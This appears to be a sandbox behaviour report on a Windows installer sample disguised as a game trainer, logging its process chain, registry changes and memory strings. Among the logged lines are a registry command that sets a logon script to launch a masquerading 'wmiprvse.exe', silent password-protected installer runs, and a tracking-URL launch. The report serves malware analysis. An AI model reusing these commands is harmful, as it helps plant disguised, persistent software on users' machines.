Code function: 30_2_005DE8C0 CreateToolhelp32Snapshot,Process32FirstW,OpenProcess,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,GetWindowThreadProcessId,GetWindowTextW,GetWindowLongW,GetWindowLongW,GetWindowLongW,GetWindowLongW,

30_2_005DE8C0

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe

Code function: 30_2_005D9270 CoCreateInstance,

30_2_005D9270

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Code function: 21_2_00BAE810 FindResourceW,LoadResource,LockResource,SizeofResource,

21_2_00BAE810

Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp

File created: C:\Program Files (x86)\river-city-rival-showdown-trainer-15-v1-8-.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:10416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6632:120:WilError_03
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Mutant created: \BaseNamedObjects\C:_Program Files (x86)_AW Manager_Windows Manager_Windows Updater.mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5268:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8700:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5032:120:WilError_03

Source: C:\Users\user\Desktop\ZmWSzgevgt.exe

File created: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp

Jump to behavior

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Command line argument: RICHED20.DLL	30_2_005D8850
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Command line argument: >w`	30_2_00607690
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Command line argument: RICHED20.DLL	32_2_00298850
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Command line argument: >w,	32_2_002C7690

Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe

File read: C:\ProgramData\regid.1993-06.com.microsoft\client32.ini

Jump to behavior

Source: C:\Users\user\Desktop\ZmWSzgevgt.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Font] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[checksum] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Registry] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[type] nvarchar(2147483647) DEFAULT 'String',[value] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [UpdateBundlePackage] ([updatebundleupi2] nvarchar(2147483647) NOT NULL CHECK (updatebundleupi2 <> ''),[updatepackageupi2] nvarchar(2147483647) NOT NULL CHECK (updatepackageupi2 <> ''),PRIMARY KEY([updatebundleupi2],[updatepackageupi2]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [BundlePackageRegistry] ([bundleupgradecode] nvarchar(2147483647) NOT NULL CHECK (bundleupgradecode <> ''),[packageupi2] nvarchar(2147483647) NOT NULL CHECK (packageupi2 <> ''),[upgradecode] nvarchar(2147483647) NOT NULL CHECK (upgradecode <> ''),PRIMARY KEY([bundleupgradecode],[packageupi2]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [UpdateBundleArp] ([updatebundleupi2] nvarchar(2147483647) NOT NULL CHECK (updatebundleupi2 <> ''),[refupdatebundleupi2] nvarchar(2147483647) CHECK (refupdatebundleupi2 <> ''),PRIMARY KEY([updatebundleupi2],[refupdatebundleupi2]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [GlobalData] ([key] nvarchar(2147483647) NOT NULL CHECK (key <> ''), [value] TEXT NULL, PRIMARY KEY([key]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Font] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> ''),[checksum] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Registry] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[root] nvarchar(2147483647) NOT NULL CHECK (root <> ''),[value] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [States] ([state] varchar2 NOT NULL UNIQUE CHECK (state <> ''));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [File] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> ''),[checksum] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [File] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[checksum] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Shortcut] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[commandline] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [PackageDependencies] ([packageupi2] nvarchar(2147483647) NOT NULL CHECK (packageupi2 <> ''),[dependencyupi2] nvarchar(2147483647) NOT NULL CHECK (dependencyupi2 <> ''),[istarget] nvarchar(2147483647) NOT NULL CHECK (istarget <> ''),[targetmethod] nvarchar(2147483647) CHECK (targetmethod <> ''),PRIMARY KEY([packageupi2],[dependencyupi2]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Package] ([upi2] nvarchar(2147483647) NOT NULL CHECK (upi2 <> ''),[name] nvarchar(2147483647) NOT NULL CHECK (name <> ''),[upgradeCode] nvarchar(2147483647) NOT NULL CHECK (upgradeCode <> ''),[installPathMappingsJson] text NULL,PRIMARY KEY([upi2]));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [File] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[checksum] nvarchar(2147483647),PRIMARY KEY([path]));CREATE TABLE [File] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> ''),[checksum] nvarchar(2147483647),PRIMARY KEY([path]));CREATE TABLE [Font] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[checksum] nvarchar(2147483647),PRIMARY KEY([path]));CREATE TABLE [Font] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> ''),[checksum] nvarchar(2147483647),PRIMARY KEY([path]));CREATE TABLE [Registry] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[type] nvarchar(2147483647) DEFAULT 'String',[value] nvarchar(2147483647),PRIMARY KEY([path]));CREATE TABLE [Shortcut] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[commandline] nvarchar(2147483647),PRIMARY KEY([path]));]) ON DELETE NO ACTION ON UPDATE NO ACTION);CREATE TABLE [PackageFile] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[upi2] nvarchar(2147483647) NOT NULL CHECK (upi2 <> ''),CONSTRAINT[sqlite_autoindex_PackageFile_1] PRIMARY KEY([path], [upi2]), FOREIGN KEY([upi2]) REFERENCES[Package]([CREATE TABLE [PackageFont] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[upi2] nvarchar(2147483647) NOT NULL CHECK (upi2 <> ''),CONSTRAINT[sqlite_autoindex_PackageFont_1] PRIMARY KEY([path], [upi2]), FOREIGN KEY([upi2]) REFERENCES[Package]([P
Source: 1922353491.exe, 00000024.00000002.3686040918.00000000056ED000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3404898557.0000000005196000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3400052952.0000000005184000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [PackageDependencies] ([packageupi2] nvarchar(2147483647) NOT NULL CHECK (packageupi2 <> ''),[dependencyupi2] nvarchar(2147483647) NOT NULL CHECK (dependencyupi2 <> ''),PRIMARY KEY([packageupi2],[dependencyupi2]));

Source: ZmWSzgevgt.exe

ReversingLabs: Detection: 29%

Source: a1.exe	String found in binary or memory: https://installeranalytics.com
Source: Windows Updater.exe	String found in binary or memory: /install
Source: Windows Updater.exe	String found in binary or memory: -startminimized
Source: Windows Updater.exe	String found in binary or memory: -startappfirst
Source: Windows Updater.exe	String found in binary or memory: -installready
Source: Windows Updater.exe	String found in binary or memory: /installservice
Source: Windows Updater.exe	String found in binary or memory: -startminimized
Source: Windows Updater.exe	String found in binary or memory: /install
Source: Windows Updater.exe	String found in binary or memory: -startappfirst
Source: Windows Updater.exe	String found in binary or memory: -installready
Source: Windows Updater.exe	String found in binary or memory: /installservice
Source: ZmWSzgevgt.exe	String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\ZmWSzgevgt.exe

File read: C:\Users\user\Desktop\ZmWSzgevgt.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ZmWSzgevgt.exe C:\Users\user\Desktop\ZmWSzgevgt.exe
Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	Process created: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp "C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp" /SL5="$10450,832512,832512,C:\Users\user\Desktop\ZmWSzgevgt.exe"
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe
Source: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp "C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp" /SL5="$104CA,4289520,832512,C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe"
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe "C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe	Process created: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp "C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp" /SL5="$50222,10235147,832512,C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c expand C:\Users\user\AppData\Local\Temp\is-J1954.tmp\{app}\aglwjhm.cab -F:* %ProgramData%
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand C:\Users\user\AppData\Local\Temp\is-J1954.tmp\{app}\aglwjhm.cab -F:* C:\ProgramData
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\wmiprvse.exe" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process created: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1888,i,7072999325873136118,17384098712178890255,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe" /qn CAMPAIGN="2598
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 422D03AD2CDBB69F557E245BAEF1ACF7 C
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" /qn CAMPAIGN=2598 AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701870439 /qn CAMPAIGN=""2598"" " CAMPAIGN="2598
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 6BF05F187B53BFBF47C225A377385DB6
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding BC9F21BCEFC691B566B836C637BCC195 E Global\MSI0000
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe "C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe" /silentall -nofreqcheck -nogui
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Process created: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" /install silentall "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe "C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 408DB6826F1036348B5DAAE317AF6166 C
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	Process created: C:\Users\user\AppData\Local\Temp\1922353491.exe C:\Users\user\AppData\Local\Temp\1922353491.exe
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 90A02CAD9630D51876E2B2B6E897E85F E Global\MSI0000
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe "C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe"
Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	Process created: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp "C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp" /SL5="$10450,832512,832512,C:\Users\user\Desktop\ZmWSzgevgt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp "C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp" /SL5="$104CA,4289520,832512,C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe "C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe" /qn CAMPAIGN="2598	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe	Process created: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp "C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp" /SL5="$50222,10235147,832512,C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c expand C:\Users\user\AppData\Local\Temp\is-J1954.tmp\{app}\aglwjhm.cab -F:* %ProgramData%	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\wmiprvse.exe" /f	Jump to behavior
